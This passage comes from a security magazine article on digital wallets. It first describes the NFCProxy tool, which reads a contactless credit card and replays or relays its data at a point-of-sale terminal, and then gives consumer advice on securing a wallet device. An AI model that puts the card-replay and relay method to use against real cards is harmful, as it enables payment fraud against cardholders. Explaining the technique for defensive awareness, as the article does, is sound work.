the NFC Proxy nearby a Credit Card (that supports
NFC) and you’ll extract the information.

You can visualize the data (not the numbers and
dates), save or export it.

Replay Card (Spending mode)

With the saved data, you just need to put your
smartphone closer to the NFC POS and if it de-
tects it (probably will) it'll replay the data.

There’s also a relay mode that allows one device
to read the Credit Card and over a wireless link to
transmit the data to a second device closer to the
POS that will execute the transaction.

NFCProxy

STATUS

)x0e 0x32 0x50 0x41 0x5¢
¥ attdale

Name: CARDHOLDER/VALUED

Card Number:

Expiration Date:

Service Code: 0101

iICVV: 14044 57 (0x00 0x44 0x14 0x57)

Figure 2. NFC Proxy Screenshot

We must say that is unlikely that someone will
leave their physical Credit Card wide open for
someone to play with it but this application really
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demonstrates some weakness in the NFC proto-
col. Let’s also not mistaken it by a Digital Wallet
application vulnerability. It's NFC protocol related.
Vendors will protect the Data in the Digital Wallet
and many times encrypt the radio communication.

When deciding for a Digital Wallet to use, it's im-
portant to look not only for the usability of the ap-
plication but also how it deals with the security as-
pects of the transaction.

Let’s just mention some items you should con-
sider to have on your digital pocket;

* Biometry as an authentication method (Apple
acquired sometime ago a company called Au-
thentec that provides Biometric solutions) so
we might see this coming soon as a capability;

* Use PIN as a mandatory authentication meth-
od at least;

» Look for solutions that take advantages of new
chips such as Sony’s FeliCa. This chip pro-
vides highly secure, very short range, very
low power, extremely easy to set point-to-point
contactless communication between devices.

» Encrypt all the data stored on your device with
strong algorithms;

» Allow remote erase or quick disable in case of
losing the device

* Encrypt all the communication;

* Allow alert services (send a message when a
transaction is done)

* Readily-available and clear information on how
they collect, store and use your information. A
provider should also make clear whether your
private information will be stored on a physical
device or in the “cloud” (or both), and how they
are protecting it.

* Review the application history (if there are ex-
ploits available, the number of times hacking
was detected or the number of times the ap-
plication was exploited, and the time it took for
the fix to be available.) As a friend of mine al-
ways says... It only needs to be software to
have bugs”

First of all: | like having a Jailbreak 10S or rooted
Android, it offers more fun, it allows you to play with
more tools and have more control of your device
but if you do it, please purchase a second smart-
phone and let it run as indicated by the vendor if
you’re going to use a Digital Wallet. You can have

www.hakin9.org/en
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serious issues by using the application on a non-
supported environment. Some additional ideas
you should follow on your Digital Wallet device.

Enable Device Passwords

Set phones, tablets, personal computers and other
devices to require a password before they can be
used. Enjoy the benefits of additional layers of se-
curity mobile devices or PCs offer.

Connect To Secure Networks

Choose secure network connections you trust.
A simple test: more secure WiFi connections re-
quire passwords and are easily identified as “WPA
or WPA2.” Highly-unsecure WiFi is wide-open for
anyone to connect to, and may be labeled as a
“WEP” connection.

Install Apps From Sources You Trust

Not all apps are what they appear to be. In fact,
you could be getting more than you bargained
for. A free game might not be just a game, but
an app designed to illicitly collect personal data
from you. Reading the user ratings and reviews
can provide some clues about the integrity of
the app.

Keep Your Device Updated

Hardware and software manufacturers release fre-
quent updates to optimize performance and secu-
rity. Stay aware of updates and their impacts, and
ensure they are installed.

Use Security Software

Be smart about it — activate applications for de-
tecting and removing threats, including firewalls.
Also activate virus and malware detection and in-
trusion-detection systems.

Keep Your Private Stuff Private

Don’t share sensitive data with those you don’t
trust. This includes when you respond to email re-
quests, phone inquiries or allow control to anyone
you would not normally hand over a physical wal-
let to. Credible service providers and support staff
will never ask for private information such as pass-
words or payment-account numbers.

Keep Login Credential Secure

Easy access to usernames and passwords leads
to misuse. Don’'t write down information used to
access your digital wallet in plain view or store in
an unprotected file.
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« Why is RFID a vulnerable technology?:
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http://www.armourcard.com.au/why-is-rfid-a-vulnerable-techno

« Cockrane, Peter. Let’s banish cards and cash and embrace the digital wallet: http://www.wired.co.uk/news/ar-

chive/2013-04/25/money-has-always-been-virtual

Hoffman, Chris. From Plastic to Smartphone: When Will Digital Wallets Take Over?: http://www.howtogeek.
com/163132/from-plastic-to-smartphone-when-will-digital-wallets-take-over/

« Haselsteiner, Ernst and Breitful3, Klemens. “Security in NFC Communications: http://events.iaik.tugraz.at/RFID-
Sec06/Program/papers/002%20-%20Security%20in%20NFC.pdf

«  http://sourceforge.net/projects/nfcproxy/

« How stuff works? - Digital Wallets: http://electronics.howstuffworks.com/gadgets/high-tech-gadgets/digital-wal-

let.htm

Use A Password That Only Works With Your
Digital Wallet
| know, it sucks...but loosing money sucks more.

Identify Who To Contact If There Are Issues,
Before One Arises

Financial institutions, payment networks and mer-
chants are all needed to make electronic and mo-
bile payments work. Make sure you understand
the quickest way to resolve any issues that arise
and who is responsible for any fraudulent activity
on your account.

Review Contract Terms And Conditions

This is where rights and liabilities are defined. Top-
ics should address data privacy, opting-in and out
of various features and impacts of enrolling and
canceling accounts and services.

Some vendor options for the ones interested on
trying or studying deeper the subject.

*  Amazon — Amazon Mobile App
+ Google — Google Wallet

* Apple — Passbook

» iCache- Geode Wallet

* Visa—v.me

* Western Union — Mwallet

* Fujitsu — W-Wallet

* Armour Card — ArmourCard

* MasterCard — PayPass

» Paypal — Forward
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Digital wallets are a technology that is still under
heavy development and consolidation and it’ll take
some time until the world fully embraces it. Too
many questions are still being answered but it's
certain that it'll here to stay. You'll use it sometime.
Maybe today or maybe after 5 years from now.

But you'll use it.

Be ready for it. It'll change the way we do busi-
ness and who knows, it might change the way we
see economy.

Or, are you in doubt?

Think about it.... 10 years ago who would bet
that smartphones or tablets will play such a critical
role on today’s society?

Better be ready for.

Regards

ALEXANDRE S. CEZAR

Alexandre S. Cezar, CISSP is an experi-
enced Information Security Consultant
and Project Manager with eighteen years
in the Information Security and Network
areas; most of them working for govern-
ments, telecom and financial customers
on projects worldwide. Alexandre is a specialist on several
technologies like Next Generation Firewalls, Deep Packet In-
spection, Intrusion Prevention Systems, Network Forensics,
DDOS Protection, SIEM tools, virtualization security and op-
erational systems.
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